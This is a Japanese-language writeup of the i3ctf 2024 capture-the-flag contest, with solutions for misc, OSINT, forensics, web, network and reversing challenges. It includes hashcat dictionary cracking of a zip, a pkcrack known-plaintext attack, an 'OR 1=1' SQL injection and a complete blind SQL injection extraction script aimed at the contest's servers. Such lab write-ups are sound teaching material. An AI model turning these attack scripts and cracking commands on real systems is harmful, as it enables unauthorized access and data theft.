😺

i3ctf writeup(2024)

2025/01/02に公開

はじめに

こんにちは。
2024/12/20 19:00 ~ 2024/12/31 23:59 (JST) の期間で開催された、i3ctf(ツイートへのリンク)に参加しました。
結果は 3rd / 3910pts でした。
Miscは2D-Code, OSINTはfuda, ship, Cryptoはyyy, diff以外を解き、
Forensics, Web, Network, Reversingは全完でした。
CTFを開催してくださった運営陣の皆様、ありがとうございました!
本記事はコンテスト期間中に解けた問題のwriteupになります。

個人結果

スコアボード

Writeup

一部の画像やテキスト、ファイルは問題サーバーからの引用を含みます。

Misc

Welcome (138 solves)

問題文にFlagが記載されている。

Flag

FLAG{Welcome_to_i3CTF!!}

Word? (74 solves)

問題ファイルとしてzipが与えられ、解凍するとdocxファイルが出てくる。
docxファイルはzipで解凍できるので、拡張子を変更するなどして解凍してから、

grep -r FLAG .

とするとFlagが得られる。

Flag

FLAG{Word_is_zip}

QR (76 solves)

問題ファイルとして以下のようなばつ印が塗られたQRコードが与えられる。

お好きなツールを使用し、適当な値で2値化してもらうと以下のような画像が得られる。

読み取るとFlagが得られる。

Flag

FLAG{Error_correction_30_percent}

music (60 solves)

問題ファイルとしてmidiファイルが与えられる。
お好きなviewerを用いて開くとFlagが得られる。

Flag

FLAG{MIDI_IS_NOT_WAVE}

Icon (54 solves)

問題ファイルとしてpptxファイルが与えられる。
これも Word? と同様にしてunzipすることができる。
docProps/thumbnail.jpegにサムネイルがあり、そこにFlagが埋まっている。

Flag

FLAG{How_did_you_find_it?}

crack (47 solves)

問題ファイルとしてパスワード付きのzipが与えられる。
中にはimportant.txtが含まれている。
問題文に"I thought I made the password easy..." とあることから、パスワードクラックを試してみる。
john the ripperとhashcatを用いる。

zip2john crack.zip

などとすると、

crack.zip/important.txt:$pkzip$1*1*2*0*26*1a*3d4bd67*0*2b*0*26*03d4*cc82849ccf22928d40371159d3b0d4a50e9bc44906865922b2d254e65c5c855b1dd5ca6f2b8f*$/pkzip$:important.txt:crack.zip::crack.zip

というハッシュが得られる。
この$pkzip...pkzip$の部分を切り出し、hash.hashのような名前で保存する。
その後、hashcatを使い、rockyouを使った辞書攻撃を行う。

hashcat -a 0 -m 17210 hash.hash /usr/share/wordlists/rockyou.txt

これを実行すると、パスワードがpassword1122であることがわかる。
unzipすると、important.txtの中身がFlagになっている。

Flag

FLAG{F1r57_P455w0rd_Cr4ck}

余談だが、最初はブルートフォースを用いるアプローチかと思い、hashcatでブルートフォースをしていると、解凍はできるのに中身が一致しない謎のパスワード(Yvaoy3be)ができてしまった。
内容が短いせいでハッシュが衝突していたのだろうか?

font(24 solves)

問題ファイルとして以下のようなpngファイルが与えられる。

これは Wingdings というフォントを用いて文字がつづられているので、 Wingdings Translatorなどと検索し、出てきた変換表を使って気合でテキストに直す。
すると、以下のurlが得られる。
https://forest.watch.impress.co.jp/library/software/stgngrapher/
このツールを導入し、電子透かしの抽出を選択すると、抽出するためにはパスワードが必要であることがわかる。

そこで、

exiftool image.png

などとしてexif情報を見てみると、

Creator                         : xn--v9j2hwb4a4l2c
Rights                          : bnVtYmVyIG9mIHBpeGVscyBpbiB0aGUgaW1hZ2U=

これはそれぞれpunycodeとbase64であるため、変換すると、
パスワードは, number of pixels in the image という文字列が得られる。
exifから、画像の Width, Height はそれぞれ以下であることがわかるため、

Image Width                     : 1091
Image Height                    : 702

両方を掛け合わせた 765882 を用いて透かしを抽出するとflagを得ることができる。

Flag

FLAG{S7e9an0Gr@pHy}

rAndoMTexT (9 solves)

問題文として以下のテキストが与えられる。

tIvolFLgqDzvIUnifAwfnenAtJskbNBMpAAEIxUXpeFPJbnepKPWBcmBkAIzGAShjJdxkoynfXBDehUtiDVTLjeFaUnRQJCEjREfNWRwqRaGkAaHlKVrOOoGjpUJfBSygOLotGcJuMrHomUbpCJZGNaX

文字数を測るために

python3 -c 'print(len("..."))'

などとしてみると、152文字であることがわかる。
これは8の倍数であるため、バイナリ(2進数)に変換することを考える。
小文字を0、大文字を1としてみなし、変換して文字列を出力するようなsolverを書く。

text = "..."
binary = ''.join(['1' if c.isupper() else '0' for c in text if c.isalpha()])
restored_text = ''.join([chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8) if len(binary[i:i+8]) == 8])
print(restored_text)

この出力がFlagとなる。

Flag

FLAG{8yn@ry_nUm6eR}

sea (18 solves)

問題ファイルとしてmp4ファイルが与えられる。
再生してみると低めの周波数でぷつぷつした音が鳴っている。
速度を落としてよく聞いてみると最初の音がモールスのように聞こえ、..-. .-.. なので最初の2文字がFLであることがわかる。
Sonic Visualiserで音域を表示し、短いところを . , 長いところを - としてみると、モールス信号へと変換できる。

Flag

FLAG{SOUNDISNOTSEA}

別解として、以下のようなツールを用いることでも復号できる。
https://morsecode.world/international/decoder/audio-decoder-adaptive.html

crib (2 solves)

問題ファイルとして、以下のようなパスワード付きのzipファイルが与えられる。

Archive:  secret.zip
Zip file size: 193758 bytes, number of entries: 2
-rw-rw-r--  3.0 unx     1330 BX stor 24-Nov-22 10:12 flag.txt
-rw-r--r--  3.0 unx   191987 BX stor 24-Nov-21 16:44 NSALibertyReport.p13.jpg
2 files, 193317 bytes uncompressed, 193317 bytes compressed:  0.0%

NSALibertyReport.p13.jpgで検索すると、Wikipedia上にアップロードされている NSALibertyReport.p13.jpg が見つかる。
このように、パスワードが付いたzipファイルの中に、中身がわかっているファイルがあった場合、既知平文攻撃(Known Plaintext Attack; KPA) という攻撃手法をとることができる。
今回はpkcrackというツールを用いて攻撃する。

wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
tar xzf pkcrack-1.2.2.tar.gz
cd pkcrack-1.2.2/src
make

引用元: zardus/ctf-tools

などでpkcrackをビルドする。

curl -O https://upload.wikimedia.org/wikipedia/commons/5/54/NSALibertyReport.p13.jpg

でファイルを持ってきて、

zip -0r NSALibertyReport.p13.zip NSALibertyReport.p13.jpg

で無圧縮でzipにする。
ここで、zipにしたファイルと中のファイルのサイズが同じか確認しておく。
もしも違った場合、復号できない可能性があるので、その場合は圧縮率などを調整してやり直すとうまくいく。

Archive:  NSALibertyReport.p13.zip
-rw-r--r--  3.0 unx   191987 bx stor 25-Jan-01 20:18 NSALibertyReport.p13.jpg

正しくzipにできていることが確認できたので、

pkcrack -C secret.zip -c NSALibertyReport.p13.jpg -p NSALibertyReport.p13.jpg -P NSALibertyReport.p13.zip -d output.zip

で解読する。
解読に成功すると、以下のようなflag.txtが得られる。

スペースとTabが規則正しく並んでいることに目が行く。
このように、whitespaceを利用したステガノグラフィツールには、snowというものがある。
問題文の中に、

The password was “leona”..

とあることから、

snow -C -p leona flag.txt

とするとFlagが得られる。

Flag

FLAG{Pr0v3_y0ur_w0r7h}

OSINT

Island (68 solves)

問題ファイルとして以下のような画像ファイルが与えられる。

exiftoolで見てみると、

GPS Latitude                    : 36 deg 15' 9.37" N
GPS Longitude                   : 136 deg 7' 14.56" E

とあるので、この座標の島を調べるとFlagになる。

Flag

FLAG{Oshima}

Gyukaku (49 solves)

問題ファイルとして以下のような画像ファイルが与えられる。

牛角の店舗検索で4Fを検索してみると、13件しかないことがわかる。
上から順番に見ていくと、牛角 吉祥寺北口店が一致する。

What is the name of the store one floor below this Gyukaku?

とあるので、その下にあるBIG ECHOがFlagとなる。

Flag

Flag{BIGECHO}

Photographer (28 solves)

問題ファイルとして以下のような画像ファイルが与えられる。

exiftoolで見てみると、

Artist                          : promise_heavily_amongst
Copyright                       : promise_heavily_amongst
XP Author                       : promise_heavily_amongst

となっている。
Instagram でpromise_heavily_amongstを調べてみると、ユーザーが見つかり、その概要にFlagが書かれている。

Flag

FLAG{f0und_th3_ph0t0gr4ph3r}

ちなみにこの問題はFirst Bloodでした。嬉しいね~

map (15 solves)

Crypto

編集中です...

Forensics

What is this file? (70 solves)

問題ファイルとして以下のようなファイルが与えられる。

-rw-a--     2.0 fat    38400 b- defN 24-Dec-22 20:35 unknow

What is this file? とのことなので、fileコマンドで確認してみる。

$ file unknow
unknow: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 932, Template: Normal.dotm, Revision Number: 9, Name of Creating Application: Microsoft Office Word, Total Editing Time: 08:00, Create Time/Date: Fri Nov  1 00:46:00 2024, Last Saved Time/Date: Wed Nov 13 01:56:00 2024, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

素直にwordで開くと以下のような文章が得られ、Flagを得られる。

Flag


FLAG{Open_old_word_file}

SVG (60 solves)

問題ファイルとして、SVGファイルが与えられる。

開いてみるとQRコードがあるが、これを読み取ってもFlagにはならない。
テキストとして開いてみるとこのように、pythonのコードが埋め込まれている。

<path d="M560 4480 l0 -80 80 0 80 0 0 -240 0 -240 80 0 80 0 0 160 0 160 80
0 80 0 0 80 0 80 80 0 80 0 0 80 0 80 -80 0 -80 0 0 -80 0 -80 -80 0 -80 0 0
80 0 80 -160 0 -160 0 0 -80z"/>
<Flag content="[49, 108, 121, 125]"/>
<path d="M5680 960 l0 -80 80 0 80 0 0 80 0 80 -80 0 -80 0 0 -80z"/>
<path d="M5520 640 l0 -80 80 0 80 0 0 80 0 80 -80 0 -80 0 0 -80z"/>
<Flag content="flag = ''.join(chr(x) for part in parts for x in part)"/>
</g>
<Flag content="encoded_flag = base64.b64encode(flag.encode()).decode()"/>
<Flag content="print(''.join(base64.b64decode(encoded_flag).decode()))"/>
</g></svg>
from bs4 import BeautifulSoup
parser = BeautifulSoup(open("image.svg", "r").read(),features="xml")
print("".join([x["content"] for x in parser.find_all("Flag")]))

このようにしてparserを作ると、このような文字列が得られる。

import base64parts = [[70, 76, 65, 71],[123, 53, 86, 71],[95, 52, 110, 100],[95, 88, 77, 49],[95, 52, 114, 51],[95, 102, 52, 109],[49, 108, 121, 125]]flag = ''.join(chr(x) for part in parts for x in part)encoded_flag = base64.b64encode(flag.encode()).decode()print(''.join(base64.b64decode(encoded_flag).decode()))

コードを実行することでFlagが得られる。

Flag

FLAG{5VG_4nd_XM1_4r3_f4m1ly}

Liangmen (52 solves)

問題ファイルとして、liangmen.zipというファイル名のファイルが与えられる。
が、unzipはできない。

file liangmen.zip

としてみると、

liangmen.zip: PNG image data, 1310 x 730, 8-bit/color RGBA, non-interlaced

これがPNGのファイルであることがわかる。
ファイルの拡張子をpngにして開くと、以下のような画像が得られ、Flagとなる。

Flag


FLAG{Waiting_for_Liangmen_Ron}

Concealment (44 solves)

問題ファイルとして、以下のようなjpgファイルが与えられる。

-rw-a--     2.0 fat    40456 b- defN 24-Nov-16 20:30 concealment.jpg

unzipしてみると以下のような画像ファイルが得られる。

読み込んでみると、Exiftoolのwikipediaページのurlが得られる。
Exiftoolにかけてみると、

Keywords                        : Look_at_the_ApplicationNotes_in_this_image

という文字列が得られる。
言われたとおりに

exiftool -ApplicationNotes -b concealment.jpg | xxd -r -p

してみると、

Search_for_Steghide

という文字列が得られた。問題文より、

pass:i3ctf

とのことなので、

steghide extract -p "i3ctf" -sf concealment.jpg

としてみるとFlagが得られた。

Flag

FLAG{Herodotus_the_father_of_history}

Web

Meta (101solves)

問題文としてURLが与えられる。

curl https://s1.ikbase.net/meta/ | grep -i flag

でFlagを得られる。

Flag

FLAG{Developer_tools_is_useful}

login (78 solves)

問題文としてURLが与えられる。
サイトにアクセスし、'OR 1=1 --などでSQL InjectionをするとFlagが得られる。

Flag

FLAG{5QL_1nJ3Ct10n}

input (64 solves)

問題文としてURLが与えられる。

Let's execute the alert function!

とのことなので、alertを起こせばFlagが得られるらしい。

<script>
        alert_orig = alert
        alert = function(){
            console.log(this, arguments);
            console.trace();
            window.open("./flag.php");
            return alert_orig.apply(this, arguments);        
        }

        function Write(str){
            pattern = /\"|\'|\/|javascript/g;
            str = str.replace(pattern, "");
            prm = document.getElementById("prm");
            prm.innerHTML = str;
        }
    </script>

リファラを設定すれば発火させなくてもFlagが得られそうだったので、試しに、

curl 'https://s1.ikbase.net/input/flag.php' -H 'referer: https://s1.ikbase.net/input/'

としてみるとFlagが得られた。

Flag

FLAG{Cr055_5iTE_5CRIptINg}

dummy (8 solves)

問題文としてURLが与えられ、アクセスすると FLAG{tHis_15_DuMmy} が返ってくる。

.dummy:before{
    content: "FLAG{tHis_15_DuMmy}";
}

dummyの要素はcssによって定められている。

const go = new Go();

class Random {
    constructor(seed = 1487256) {
        this.x = 123456789;
        this.y = 362436069;
        this.z = 521288629;
        this.w = seed;
    }

    next() {
        let t;
    
        t = this.x ^ (this.x << 11);
        this.x = this.y; this.y = this.z; this.z = this.w;
        return this.w = (this.w ^ (this.w >>> 19)) ^ (t ^ (t >>> 8)); 
    }

    nextInt(min, max) {
        const r = Math.abs(this.next());
        return min + (r % (max + 1 - min));
    }
}

WebAssembly.instantiateStreaming(fetch("wasm/main.wasm"), go.importObject).then((result) => {
    go.run(result.instance);
    
    // Hmm, I wish I could get a list of wasm functions...

    const element = document.getElementById("dummy");
    let text = window.getComputedStyle(element, ':before').getPropertyValue('content');
    if(!(text == "\"FLAG{tHis_15_DuMmy}\"" || text == "\"FLAG{7h15_Is_dUMmY}\"")){
        element.style.display = "none";

        let array = text.split("");
        let array2 = [];
        const random = new Random(getNumber());
        for(let i = 1; i < array.length - 1; i++){
            array2[i] = String.fromCharCode(array[i].charCodeAt() - random.nextInt(2, 10));
        }
        let flag = array2.join("");
        document.getElementById("flag").innerText = flag;
    }
});

どうやら、dummyの中身がFLAG{tHis_15_DuMmy}もしくはFLAG{7h15_Is_dUMmY}だと、Flagの復号化処理をするといったスクリプトらしい。

ということで、Devtoolsでmain.wasmを開き、dummyで検索すると、

\0a.dummy:before{\0a  content: \22IREL\c2\80yN@I<{lV?6|\c2\86\22\0a}\0a

という文字列が見つかる。
あとはこれをいい感じにcssに直してあげる。

.dummy:before{
  content: "IREL€yN@I<{lV?6|†"
}

ということなので、go.run()にbreakpointを貼り、

wasmが実行される前にcssを書き換えてあげることでFlagが得られる。

Flag


FLAG{wE6@5seM61y}

login2 (16 solves)

問題文としてURLが与えられる。
SQL Injectionをしてみると、
FLAG{this_flag_is_false._true_flag_is_not_here}
と帰ってくる。

SQL Injectionはできているため、Blind SQL Injectionをしてデータベースの中身を取得すればおい。
以下のようなsolverを作成し、Flagを得ることができた。

import requests

url = "https://s1.ikbase.net/login2/flag.php"

def is_success(payload):
    response = requests.post(url, data={"username": "root", "password": payload})
    return "FLAG" in response.text

def get_data(query_template, limit=10):
    for offset in range(limit):
        result = ""
        for index in range(1, 50): 
            low, high = 32, 126
            while low <= high:
                mid = (low + high) // 2
                payload = query_template.format(offset=offset, index=index, ascii_value=mid)
                if is_success(payload):
                    result += chr(mid)
                    print(f"Extracted: {result}")
                    break
                elif is_success(payload.replace(f"={mid}", f"<{mid}")):
                    high = mid - 1
                else:
                    low = mid + 1
            else:
                break
        if result:
            print(f"Found: {result}")
            if input("continue?") == "n":
                return result
        else:
            break

table_query = (
    "' OR ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET {offset}), {index}, 1))={ascii_value} -- "
)
table = get_data(table_query)

column_query = (
    f"' OR ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT 1 OFFSET {{offset}}), {{index}}, 1))={{ascii_value}} -- "
)
column = get_data(column_query)

flag_query = (
    f"' OR ASCII(SUBSTRING((SELECT {column} FROM {table} LIMIT 1 OFFSET {{offset}}), {{index}}, 1))={{ascii_value}} -- "
)
print("FLAG:",get_data(flag_query))
Flag

FLAG{U2on_591inJEcTioN2}

Network

http (69 solves)

以下のように構成されているpcapファイルが与えられる。

右クリック→追跡→HTTPストリームを選択すると

以下のような結果が得られる。

Flag


FLAG{Introduction_to_packet_capture}

Bob (55 solves)

問題ファイルとしてpcapファイルが与えられる。
右クリック→追跡→TCPストリームを選択し、アップロードを追跡すると、以下のようなストリームがある。

PNGから始まっているため、…として保存から.pngの拡張子を付けて保存すると、以下のようなファイルが得られる。

Flag


FLAG{FTP_is_not_secure}

basic (58 solves)

問題ファイルとしてpcapファイルが与えられる。
HTTP通信をクリックし、Authorizationを確認すると以下のような結果が得られる。

Flag


FLAG{B4s1c_1s_n0t_s3cur3}

layout (53 solves)

問題ファイルとしてpcapファイルが与えられる。
HTTPストリームを追跡してみると、

const a=document.getElementById('showTextButton'),b=document.getElementById("displayText");a.addEventListener('click',function(){const c=d=>{const e=document.createElement('link');e.rel='stylesheet';e.href=d;document.head.appendChild(e)};c('./css/styles2.css');b.textContent+="{N1c3_j0b_";a.disabled=true});
body{display:flex;height:100vh;margin:0;justify-content:center;padding:0;align-items:center;font-family:Arial,sans-serif;background-color:#f0f8ff;}.container{text-align:center;}h1{font-size:2rem;color:#333;}.hidden-text{font-size:1.5rem;color:#333;margin-top:20px;}.hidden-text::after{content:"r3570r1n9_17}";}.btn{padding:10px 20px;font-size:1rem;color:#fff;background-color:#0078d4;border:none;cursor:pointer;border-radius:5px;transition:background-color 0.3s ease;}.btn:hover{background-color:#005a9e;}

という2つのテキストが得られる。
contentを繋げるとflagが得られる。

Flag

{N1c3_j0b_r3570r1n9_17}

ppap (20 solves)

問題ファイルとしてpcapファイルが与えられる。
TCPストリームを追跡してみると、

途中で秘密鍵の交換がされており、

それ以降の通信は暗号化されていることがわかる。
まずは、秘密鍵を抜き出してみる。

--GNe0ziAG5MI1uYAL
Content-Type: application/pem-certificate-chain
Content-Disposition: attachment; filename="ivorykey.pem"
Content-Transfer-Encoding: quoted-printable

-----BEGIN PRIVATE KEY-----=0AMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAA=
oIBAQDYdBq67oEp+XXr=0A0FPSlb4Asa1E8DhXdC4Ftr79XctHLC0bIzyE5ktgWQcdahFKNRKgJ=
...(中略)...
CCSZYUJpUU+G4QbLjZ3Y/IzFyg7QIJhS6FR6/eolaR48DO4pviA9+V=0AHXLgxjuCfhTuOfCHq9=
BPN9U=3D=0A-----END PRIVATE KEY-----=0A
--GNe0ziAG5MI1uYAL--

Content-Transfer-Encoding: quoted-printable
とあるので、quoted-printableでデコードし、ivorykey.pemという名前で保存する。
同様に、

--Rk2DZhwfJXAa1tCF
Content-Type: application/pem-certificate-chain
Content-Disposition: attachment; filename="maizekey.pem"
Content-Transfer-Encoding: quoted-printable

-----BEGIN PRIVATE KEY-----=0AMIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAA=
oIBAQDkLbXt3F/p7pGd=0ArxmqQNfIgJ838IAsKe4To/bv9ZZHrpqfCcIOZGq6nMnpZeRjX0wfx=
...(中略)...
x7O+eLF9OB/NRYCqSZYG1kGlVDD9b/1dlOrXnRepKAeEAkQHKgKtaY=0AWMCosIP2TV8qCGGbjf=
G2gzeagg=3D=3D=0A-----END PRIVATE KEY-----=0A
--Rk2DZhwfJXAa1tCF--

もデコードし、保存する。
設定のRSA鍵から2つの鍵を追加する。

あとは、検索フィルタで tcp.stream eq <番号> と順番に検索し、出てきたストリームを 追跡→TLSストリーム で復号化してみると、

zipファイルと、

パスワードの2つが得られる。
zipファイルをCyberchefのこのようなレシピを用いるなどして復号し、保存する。

得られたパスワードを用いて解凍すると、
secret.pcapというpcapファイルが得られる。

このpcapファイルを開くとこのようになっており、

H.264というProtocol名から、 volvet/h264extractor などを使えば動画ファイルが得られることがわかる。
ツールを使うとこのように抽出でき、

PotPlayerなどの任意のPlayerを使って再生するとFlagが含まれる動画ファイルが得られる。

得られた動画がだいぶ面白かったので、Flagのみを記載する。
興味が沸いた人はupsolveしてみて欲しい。

Flag

FLAG{My_f4v0r1t3_m4ng4_1s_jojo!}

Reversing

hello(34 solves)

問題ファイルとして、ELFファイルが与えられる。

pwntoolsで情報を確認してみる。

$ chmod +x hello
$ python3 -c 'from pwn import *; elf = ELF("./hello")'
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/start/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[!] Did not find any GOT entries
[*] '/home/start/ctf/hello'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Packer:     Packed with UPX

UPXでpackされているため、解凍する。

upx -d ./hello

解凍した後、

strings hello | grep i3ctf

とすると以下のような文字列が現れ、繋ぎあわせるとFlagになる。

result
Flag is with i3ctf.
i3ctf_F_is_here
i3ctf_L_is_here
i3ctf_A_is_here
i3ctf_G_is_here
i3ctf_{_is_here
i3ctf_T_is_here
i3ctf_h_is_here
i3ctf_3_is_here
i3ctf___is_here
i3ctf_5_is_here
i3ctf_t_is_here
i3ctf_r_is_here
i3ctf_1_is_here
i3ctf_n_is_here
i3ctf_g_is_here
i3ctf_s_is_here
i3ctf_}_is_here
Flag

FLAG{Th3_5trinds}

また、

gdb ./hello
pwndbg> info functions

したのち、

pwndbg> call (void)dummy()

をすると、大量の文字列の中に上記のresultの中身が埋まっている。

result2
junk_output_case123
irrelevant_data_example456
dummy_values_foo789
filler_strings_bar111
random_chars_baz222
useless_output_qux333
temp_data_quux444
extra_message_corge555
garbage_content_grape666
placeholder_words_honey777
i3ctf_F_is_here
random_string_alpha
unnecessary_info_beta
junk_data_gamma
irrelevant_text_delta
useless_chars_epsilon
misc_stuff_zeta
placeholder_omega
filler_content_theta
dummy_words_sigma
gibberish_chars_lambda
junk_output_random123
irrelevant_data_alpha
random_strings_beta789
dummy_values_gamma456
placeholder_content_delta123
useless_chars_epsilon999
filler_info_foobar321
garbage_text_case123
temp_words_lorem456
extra_message_ipsum987
filler_output_case456
random_info_alpha789
useless_data_beta654
temp_strings_gamma987
garbage_chars_delta111
extra_message_epsilon222
placeholder_words_zeta333
i3ctf_L_is_here
temp_data_123
placeholder_xyz
garbage_text_abc
irrelevant_message_789
random_data_hello
dummy_output_qwerty
extra_chars_lorem
filler_stuff_ipsum
nonsense_values_foo
junk_output_bar
i3ctf_A_is_here
useless_data_alpha123
irrelevant_chars_beta789
gibberish_gamma456
filler_content_delta234
dummy_text_epsilon678
temp_stuff_zeta111
junk_output_theta222
extra_message_lambda333
random_words_omega444
garbage_strings_sigma555
irrelevant_text_sit
filler_info_amet
useless_chars_consectetur
temp_data_adipiscing
extra_strings_elit
garbage_message_123
placeholder_words_456
i3ctf_G_is_here
random_stuff_hello
junk_data_world
dummy_chars_test
filler_values_example
irrelevant_output_case
garbage_info_testcase
temp_message_foobar
placeholder_output_123
extra_text_lorem
useless_info_ipsum
i3ctf_{_is_here
junk_values_alpha
irrelevant_strings_beta
temp_chars_gamma
filler_info_delta
random_output_epsilon
useless_content_zeta
extra_data_theta
gibberish_output_lambda
dummy_stuff_omega
placeholder_chars_sigma
junk_text_123alpha
dummy_output_beta789
filler_values_gamma456
useless_content_delta123
random_chars_epsilon999
temp_info_zeta321
extra_message_theta654
garbage_output_lambda987
placeholder_data_sigma111
i3ctf_T_is_here
random_info_example
dummy_values_foobar
junk_text_hello
irrelevant_chars_world
filler_stuff_case
temp_output_testcase
garbage_strings_alpha
extra_content_beta
useless_data_gamma
placeholder_info_delta
junk_words_random
irrelevant_values_testcase
dummy_content_alpha
filler_text_beta
random_data_gamma
useless_output_delta
temp_info_epsilon
extra_chars_zeta
i3ctf_h_is_here
irrelevant_words_alpha
random_chars_beta
junk_output_gamma
dummy_text_delta
temp_stuff_epsilon
filler_info_zeta
extra_values_theta
garbage_output_lambda
placeholder_content_omega
useless_message_sigma
irrelevant_output_example
junk_values_case123
dummy_strings_foobar456
filler_content_lorem789
random_chars_ipsum111
useless_text_dolor222
temp_data_sit333
extra_output_amet444
i3ctf_3_is_here
random_strings_testcase
filler_output_example
garbage_content_foobar
temp_values_alpha
junk_text_beta
dummy_data_gamma
irrelevant_info_delta
useless_words_epsilon
extra_chars_zeta
placeholder_strings_theta
random_words_alpha123
junk_text_beta456
dummy_output_gamma789
i3ctf___is_here
irrelevant_info_hello
random_strings_world
garbage_output_test
dummy_text_example
junk_data_case
temp_stuff_testcase
filler_values_alpha
extra_content_beta
placeholder_chars_gamma
useless_strings_delta
junk_data_case
irrelevant_values_foobar
dummy_info_random
filler_text_example
random_content_testcase
useless_output_lorem
temp_words_ipsum
extra_chars_dolor
garbage_message_sit
i3ctf_5_is_here
junk_output_random
dummy_data_words
irrelevant_text_example
filler_chars_test
random_content_foobar
useless_stuff_alpha
extra_strings_beta
temp_info_gamma
placeholder_values_delta
garbage_text_epsilon
i3ctf_t_is_here
random_words_example123
junk_values_hello
dummy_output_world
irrelevant_strings_testcase
filler_info_foobar
useless_text_alpha
temp_values_beta
extra_chars_gamma
placeholder_content_delta
garbage_data_epsilon
i3ctf_r_is_here
junk_data_123xyz
random_strings_456abc
dummy_chars_test456
irrelevant_values_case123
filler_output_example789
useless_info_alpha789
temp_text_beta987
garbage_stuff_gamma654
extra_message_delta321
placeholder_words_epsilon222
i3ctf_1_is_here
junk_output_example
dummy_strings_random
irrelevant_content_foobar
filler_chars_test123
random_values_case789
useless_output_alpha456
temp_info_beta123
extra_stuff_gamma654
garbage_words_delta987
placeholder_message_epsilon321
i3ctf_n_is_here
irrelevant_strings_alpha
random_text_beta
junk_output_gamma
dummy_content_delta
temp_values_epsilon
filler_info_zeta
garbage_chars_theta
placeholder_stuff_lambda
useless_message_omega
extra_data_sigma
irrelevant_strings_example
junk_output_random123
dummy_content_case456
filler_values_alpha789
random_info_beta654
useless_chars_gamma987
temp_strings_delta111
i3ctf_g_is_here
dummy_data_lorem
irrelevant_info_ipsum
random_text_dolor
junk_values_sit
filler_output_amet
useless_strings_consectetur
temp_content_adipiscing
extra_chars_elit
placeholder_values_123
garbage_words_456
dummy_text_dolor
filler_output_sit
random_chars_amet
useless_data_consectetur
i3ctf_s_is_here
junk_data_unrelated
random_words_dummy
irrelevant_output_gibberish
dummy_content_placeholder
filler_text_example
useless_info_lorem
temp_chars_ipsum
extra_values_dolor
garbage_stuff_foobar
placeholder_message_case
irrelevant_content_random
dummy_output_case456
filler_strings_alpha789
random_info_beta654
i3ctf_}_is_here
irrelevant_strings_test123
junk_data_case456
dummy_values_alpha789
filler_content_beta123
random_output_gamma456
useless_chars_delta789
temp_text_epsilon987
garbage_info_zeta654
placeholder_values_theta321
extra_data_lambda222

Discussion